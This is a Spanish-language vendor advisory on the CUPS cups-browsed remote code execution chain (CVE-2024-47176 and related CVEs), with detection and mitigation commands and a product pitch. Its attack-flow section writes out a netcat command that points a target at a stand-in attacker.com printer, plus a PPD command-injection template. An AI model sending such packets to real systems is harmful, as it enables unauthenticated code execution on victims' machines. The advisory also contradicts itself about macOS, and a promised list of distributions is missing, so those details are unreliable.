剣 KENSAI
Crítica CVE-2024-47176 Octubre de 2024 · 9 min de lectura

CVE-2024-47176: RCE en CUPS para Linux — 300 000 sistemas expuestos a Internet

Una cadena de cuatro vulnerabilidades de CUPS (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) permite la ejecución remota de código sin autenticación en sistemas Linux que ejecutan cups-browsed. Más de 300 000 sistemas estaban expuestos a Internet cuando se divulgó. Afecta de forma predeterminada a Ubuntu, Debian, Red Hat, Fedora y a la mayoría de las distribuciones Linux.


9.9
CRÍTICA
AtributoValor
CVE principalCVE-2024-47176
CVE relacionadosCVE-2024-47076, -47175, -47177
Vector CVSSAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20: validación incorrecta de entradas
Publicado26 de septiembre de 2024
ExplotaciónPoC pública — se ha observado escaneo oportunista

¿Qué es CVE-2024-47176?

CUPS (sistema común de impresión de Unix) es la infraestructura de impresión predeterminada en Linux y macOS. El demonio cups-browsed escucha en el puerto UDP 631 los anuncios de impresoras en la red. CVE-2024-47176 es el punto de entrada de una cadena de cuatro vulnerabilidades: cups-browsed acepta paquetes UDP de cualquier origen, incluido Internet, sin autenticación.

Al enviar un paquete UDP manipulado al puerto 631, un atacante puede hacer que el sistema de la víctima se conecte a una «impresora» controlada por el atacante. La impresora maliciosa proporciona un archivo PPD (descripción de impresora PostScript) manipulado que contiene comandos incrustados. Cuando la víctima imprime cualquier cosa, esos comandos se ejecutan en su sistema.

La cadena de ataque completa

CVEComponenteDescripción
CVE-2024-47176cups-browsedSe vincula a UDP 0.0.0.0:631 y acepta paquetes de cualquier IP
CVE-2024-47076libcupsfiltersLos valores de atributos IPP no se sanean al crear archivos PPD
CVE-2024-47175libppdLa generación de archivos PPD no sanea los atributos IPP
CVE-2024-47177cups-filtersFoomaticRIPCommandLine permite la ejecución arbitraria de comandos

Flujo del ataque

# Paso 1: El atacante envía un paquete UDP al objetivo:631
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# Paso 2: cups-browsed obtiene atributos IPP del servidor del atacante
# El servidor del atacante devuelve atributos de impresora maliciosos

# Paso 3: libcupsfilters/libppd crea un PPD con datos del atacante sin sanear
# El PPD contiene: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# Paso 4: La próxima vez que cualquier usuario imprima (o el administrador inicie una impresión de prueba):
# FoomaticRIP ejecuta el comando del PPD
# El comando se ejecuta como el usuario lp (que suele tener acceso considerable al sistema de archivos)

⚠ No se requiere interacción del usuario tras la configuración

El atacante solo necesita enviar un paquete UDP para establecer la impresora maliciosa. La explotación se activa cuando cualquier usuario del sistema intenta imprimir, incluidas tareas de impresión rutinarias que podrían producirse horas o días después. En servidores, un atacante también podría activar la explotación de forma remota enviando una tarea de impresión a la impresora maliciosa recién instalada.

Alcance del impacto

En el momento de la divulgación, los escaneos de Shodan y Censys identificaron aproximadamente 300 000 sistemas expuestos a Internet con el puerto UDP 631 abierto. La vulnerabilidad afecta prácticamente a todas las distribuciones Linux principales que incluyen cups-browsed:

macOS no está afectado porque utiliza su propia pila de impresión. Sin embargo, macOS también utiliza CUPS internamente, por lo que determinadas configuraciones podrían verse afectadas por problemas relacionados.

Detección

# Comprobar si cups-browsed está en ejecución
systemctl status cups-browsed
ps aux | grep cups-browsed

# Comprobar si UDP 631 está expuesto
ss -ulnp | grep 631
netstat -ulnp | grep 631

# Comprobar si se han añadido impresoras inesperadas
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# Buscar archivos PPD sospechosos
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# Comprobar los registros en busca de conexiones IPP inesperadas
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

Mitigación

  1. Detener y deshabilitar cups-browsed si no es necesario:
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. Aplicar los parches: cups-browsed 2.0.1 y cups-filters 2.0.1 corrigen las vulnerabilidades. Ubuntu, Debian y Red Hat publicaron parches pocos días después de la divulgación.
  3. Bloquear el puerto UDP 631 en el firewall: impedir que paquetes externos lleguen a cups-browsed
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. Eliminar FoomaticRIP si no es necesario: el último paso de la RCE requiere foomatic-rip. Eliminarlo (si no se utilizan impresoras Foomatic) suprime la capacidad de ejecutar código.
  5. Auditar las configuraciones de impresoras: eliminar cualquier entrada de impresora no reconocida de /etc/cups/printers.conf

💡 La mayoría de los servidores no son vulnerables: las instalaciones de servidor de Linux normalmente no incluyen cups-browsed de forma predeterminada. El riesgo es mayor en estaciones de trabajo Linux y equipos de desarrollo. No obstante, debe auditarse cualquier sistema Linux configurado para imprimir.

Capacidad de detección de KENSAI

¿Cuántos sistemas Linux de su entorno tienen cups-browsed expuesto?

KENSAI escanea su superficie de ataque interna y externa para detectar vulnerabilidades de CUPS en todos sus sistemas Linux. Obtenga una visión completa en cuestión de minutos.

Detectar la exposición de CUPS →

Artículos relacionados

CISA acorta el plazo para aplicar parches y la Casa Blanca revisa su estrategia de ciberseguridad Se intensifica la divergencia cibernética entre EE. UU. y la UE Redirigiendo...